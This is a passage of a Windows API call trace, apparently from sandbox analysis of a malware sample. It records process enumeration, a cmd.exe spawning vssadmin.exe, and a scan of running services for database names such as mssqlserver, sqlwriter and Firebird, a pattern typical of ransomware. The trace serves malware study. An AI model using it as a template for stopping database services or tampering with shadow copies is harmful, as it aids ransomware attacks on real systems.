th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0039.288] lstrlenW (lpString="taskeng.exe") returned 11 [0039.288] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0039.288] lstrlenW (lpString="taskhost.exe") returned 12 [0039.288] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="johnston-audit-transportation.exe")) returned 1 [0039.288] lstrlenW (lpString="johnston-audit-transportation.exe") returned 33 [0039.288] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="noticed.exe")) returned 1 [0039.289] lstrlenW (lpString="noticed.exe") returned 11 [0039.289] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uploaded.exe")) returned 1 [0039.289] lstrlenW (lpString="uploaded.exe") returned 12 [0039.289] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hardware.exe")) returned 1 [0039.289] lstrlenW (lpString="hardware.exe") returned 12 [0039.289] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="oracle.exe")) returned 1 [0039.290] lstrlenW (lpString="oracle.exe") returned 10 [0039.290] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="creativity.exe")) returned 1 [0039.290] lstrlenW (lpString="creativity.exe") returned 14 [0039.290] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="returnsaturdaystakeholders.exe")) returned 1 [0039.290] lstrlenW (lpString="returnsaturdaystakeholders.exe") returned 30 [0039.290] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edited.exe")) returned 1 [0039.290] lstrlenW (lpString="edited.exe") returned 10 [0039.290] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="custody.exe")) returned 1 [0039.291] lstrlenW (lpString="custody.exe") returned 11 [0039.291] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aggregate ver hawaii.exe")) returned 1 [0039.291] lstrlenW (lpString="aggregate ver hawaii.exe") returned 24 [0039.291] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="same_oxygen_researchers.exe")) returned 1 [0039.291] lstrlenW (lpString="same_oxygen_researchers.exe") returned 27 [0039.291] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receipt affects separated.exe")) returned 1 [0039.292] lstrlenW (lpString="receipt affects separated.exe") returned 29 [0039.292] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius.exe")) returned 1 [0039.292] lstrlenW (lpString="radius.exe") returned 10 [0039.292] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="extensions.exe")) returned 1 [0039.292] lstrlenW (lpString="extensions.exe") returned 14 [0039.292] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="desperate.exe")) returned 1 [0039.292] lstrlenW (lpString="desperate.exe") returned 13 [0039.292] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professor-mo.exe")) returned 1 [0039.293] lstrlenW (lpString="professor-mo.exe") returned 16 [0039.293] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance.exe")) returned 1 [0039.293] lstrlenW (lpString="guidance.exe") returned 12 [0039.293] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="week.exe")) returned 1 [0039.293] lstrlenW (lpString="week.exe") returned 8 [0039.293] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="brazilian river delay.exe")) returned 1 [0039.294] lstrlenW (lpString="brazilian river delay.exe") returned 25 [0039.294] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sn featured.exe")) returned 1 [0039.294] lstrlenW (lpString="sn featured.exe") returned 15 [0039.294] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edgar_academic_dvd.exe")) returned 1 [0039.294] lstrlenW (lpString="edgar_academic_dvd.exe") returned 22 [0039.294] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="floor_relate_welfare.exe")) returned 1 [0039.294] lstrlenW (lpString="floor_relate_welfare.exe") returned 24 [0039.294] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0039.295] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0039.295] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ContinuumLoosely.exe")) returned 1 [0039.295] lstrlenW (lpString="ContinuumLoosely.exe") returned 20 [0039.295] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0039.295] lstrlenW (lpString="mobsync.exe") returned 11 [0039.295] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0039.296] lstrlenW (lpString="dllhost.exe") returned 11 [0039.296] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x950, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0039.296] lstrlenW (lpString="cmd.exe") returned 7 [0039.296] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0039.296] lstrlenW (lpString="conhost.exe") returned 11 [0039.296] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0039.296] lstrlenW (lpString="vssadmin.exe") returned 12 [0039.296] Process32NextW (in: hSnapshot=0x378, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0039.297] CloseHandle (hObject=0x378) returned 1 [0039.297] Sleep (dwMilliseconds=0x1f4) [0040.049] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297b30 [0040.050] EnumServicesStatusExW (in: hSCManager=0x3297b30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 0 [0040.051] GetLastError () returned 0xea [0040.051] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x11e4) returned 0x32982a0 [0040.051] EnumServicesStatusExW (in: hSCManager=0x3297b30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x32982a0, cbBufSize=0x11e4, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x32982a0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 1 [0040.051] CloseServiceHandle (hSCObject=0x3297b30) returned 1 [0040.051] lstrlenW (lpString="Appinfo") returned 7 [0040.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0040.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0040.051] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0040.052] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0040.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0040.052] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0040.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0040.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0040.052] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0040.052] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0040.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0040.052] lstrlenW (lpString="AudioSrv") returned 8 [0040.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0040.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0040.052] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0040.052] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0040.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0040.052] lstrlenW (lpString="BFE") returned 3 [0040.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0040.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0040.052] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0040.052] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0040.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0040.052] lstrlenW (lpString="CryptSvc") returned 8 [0040.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0040.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0040.052] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0040.052] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0040.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0040.052] lstrlenW (lpString="CscService") returned 10 [0040.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0040.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0040.052] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0040.052] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0040.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0040.052] lstrlenW (lpString="DcomLaunch") returned 10 [0040.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0040.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0040.053] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0040.053] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0040.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0040.053] lstrlenW (lpString="Dhcp") returned 4 [0040.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0040.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0040.053] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0040.053] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0040.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0040.053] lstrlenW (lpString="Dnscache") returned 8 [0040.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0040.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0040.053] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0040.053] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0040.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0040.053] lstrlenW (lpString="DPS") returned 3 [0040.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0040.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0040.053] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0040.053] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0040.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0040.053] lstrlenW (lpString="eventlog") returned 8 [0040.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0040.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0040.053] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0040.053] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0040.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0040.053] lstrlenW (lpString="EventSystem") returned 11 [0040.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0040.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0040.053] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0040.053] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0040.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0040.053] lstrlenW (lpString="gpsvc") returned 5 [0040.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0040.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0040.054] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0040.054] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0040.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0040.054] lstrlenW (lpString="iphlpsvc") returned 8 [0040.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0040.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0040.054] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0040.054] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0040.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0040.054] lstrlenW (lpString="LanmanServer") returned 12 [0040.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0040.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0040.054] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0040.054] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0040.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0040.054] lstrlenW (lpString="LanmanWorkstation") returned 17 [0040.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0040.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0040.054] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0040.054] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0040.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0040.054] lstrlenW (lpString="lmhosts") returned 7 [0040.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0040.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0040.054] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0040.054] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0040.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0040.054] lstrlenW (lpString="MMCSS") returned 5 [0040.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0040.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0040.054] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0040.054] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0040.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0040.055] lstrlenW (lpString="MpsSvc") returned 6 [0040.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0040.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0040.055] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0040.055] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0040.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0040.055] lstrlenW (lpString="Netman") returned 6 [0040.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0040.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0040.055] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0040.055] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0040.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0040.055] lstrlenW (lpString="netprofm") returned 8 [0040.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0040.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0040.055] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0040.055] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0040.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0040.055] lstrlenW (lpString="NlaSvc") returned 6 [0040.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0040.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0040.055] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0040.055] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0040.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0040.055] lstrlenW (lpString="nsi") returned 3 [0040.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0040.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0040.055] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0040.055] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0040.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0040.055] lstrlenW (lpString="PcaSvc") returned 6 [0040.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0040.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0040.055] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0040.055] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0040.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0040.056] lstrlenW (lpString="PlugPlay") returned 8 [0040.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0040.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0040.056] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0040.056] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0040.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0040.056] lstrlenW (lpString="Power") returned 5 [0040.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0040.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0040.056] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0040.056] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0040.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0040.056] lstrlenW (lpString="ProfSvc") returned 7 [0040.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0040.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0040.056] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0040.056] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0040.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0040.056] lstrlenW (lpString="RpcEptMapper") returned 12 [0040.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0040.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0040.056] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0040.056] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0040.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0040.056] lstrlenW (lpString="RpcSs") returned 5 [0040.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0040.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0040.056] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0040.056] lstrcmpiW (lpString1="mssqlserver", 